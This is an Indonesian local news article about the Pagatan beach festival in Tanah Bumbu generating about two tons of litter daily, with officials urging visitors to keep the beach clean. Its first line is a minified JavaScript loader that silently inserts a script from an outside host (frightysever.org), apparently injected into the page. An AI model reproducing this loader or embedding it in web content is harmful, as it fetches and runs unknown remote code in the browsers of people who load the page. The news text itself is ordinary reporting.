(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Pengunjung Abai Kebersihan, Kawasan Pesta Pantai Pagatan Hasilkan 2 Ton Sampah per Hari

KANALKALIMANTAN.COM, BATULICIN – Mappanretasi -Pesta Pantai Pagatan- sebagai event budaya di Kabupaten Tanah Bumbu (Tanbu) ternyata sisakan ‘budaya’ tak patut ditiru.

Ya, animo warga menghadiri event yang tinggi setiap harinya Pantai Pagatan sisakan sampah yang berserakan di kawasan pantai.

Masyarakat yang berkunjung abai terhadap kebersihan menjadikan kawasan pantai tak sedap dipandang mata.

Hal tersebut seperti yang dikatakan Kepala Dinas Lingkungan Hidup (DLH) Kabupaten Tanah Bumbu melalui Sekretaris, Halidie di ruang kerja, Selasa (17/5/2022).

Sekretaris DLH Tanbu Halidie. Foto: ftr

Menurutnya, kegiatan yang berhubungan dengan masyarakat pasti berimbas dengan sampah. Namun, dirinya menyoroti kesadaran masyarakat yang kurang baik yakni membuang sampah sembarangan dan tidak pada tempatnya.

“Walaupun area-area yang menjadi tugas dari kami terus kami bersihkan, pasti ada yang ketinggalan karena saat masyarakat membludak sampah juga lebih banyak, karena mungkin saat itu kesadaran mereka berkurang,” ujar Halidie.

Menangani persoalan sampah ini, pihaknya dari Dinas Lingkungan Hidup Tanbu terus berkoordinasi dengan Lembaga Ade Ogi sebagi panitia penyelenggara Mappanretasi dan unsur terkait lainnya perihal pembagian kewenangan.

Kabid Pengelolaan Sampah dan Limbah B3, Indah Maya Suryanti menambahkan pada pelaksanaan pesta pantai pihaknya menempatkan satu buah kontainer sampah yang terletak di dalam kawasan pagar pantai.

“Untuk pengumpulan sampah di objek wisata dilakukan oleh Pokdarwis (Kelompok Sadar Wisata) binaan Dinas Pariwisata, dan untuk di area lapak (berjualan) dilakukan oleh petugas kebersihan yang ditunjuk Lembaga Ade Ogi,” terangnya.

Sampah yang dikumpulkan di titik tersebut kemudian akan diangkut ke TPA Bitung oleh petugas UPTD setiap pagi dengan dibantu oleh tim penyisir penyapu jalan.

Kepala UPTD Pengelolaan Sampah, Rizky Kurniawan, menyebutkan, survei yang dilakukan volume sampah yang dihasilkan per harinya mencapai 6 meter kubik atau sekitar 2 ton.

“Ada peningkatan jumlah volume sampah yang terkonsentrasi dalam pelaksanaan Pesta Pantai ini, dan sekitar 70% jenis sampahnya didominasi kemasan seperti plastik, dan botol minum,” pungkasnya.

DLH Tanbu berharap masyarakat dapat lebih teredukasi dan sadar untuk membuang sampah di tempat yang disediakan.

Halidie berharap masyarakat dapat menjaga kebersigan dengan tidak membuang sampah sembarangan dan tidak mengotori objek wisata terkait dan memegang teguh prinsip ‘Kebersihan sebagian dari pada Iman’.

“Harapan nya, terlebih dalam mewujudkan cita-cita Bupati menjadikan Tanah Bumbu sebagai Serambi Madinah, tentunya kebersihan menjadi pokok untuk menuju kesana. Oleh sebab itu mari kita agar bersama-sama kita menjaga kebersihan,” tutupnya. (Kanalkalimantan.com/ftr)

Reporter : ftr
Editor : bie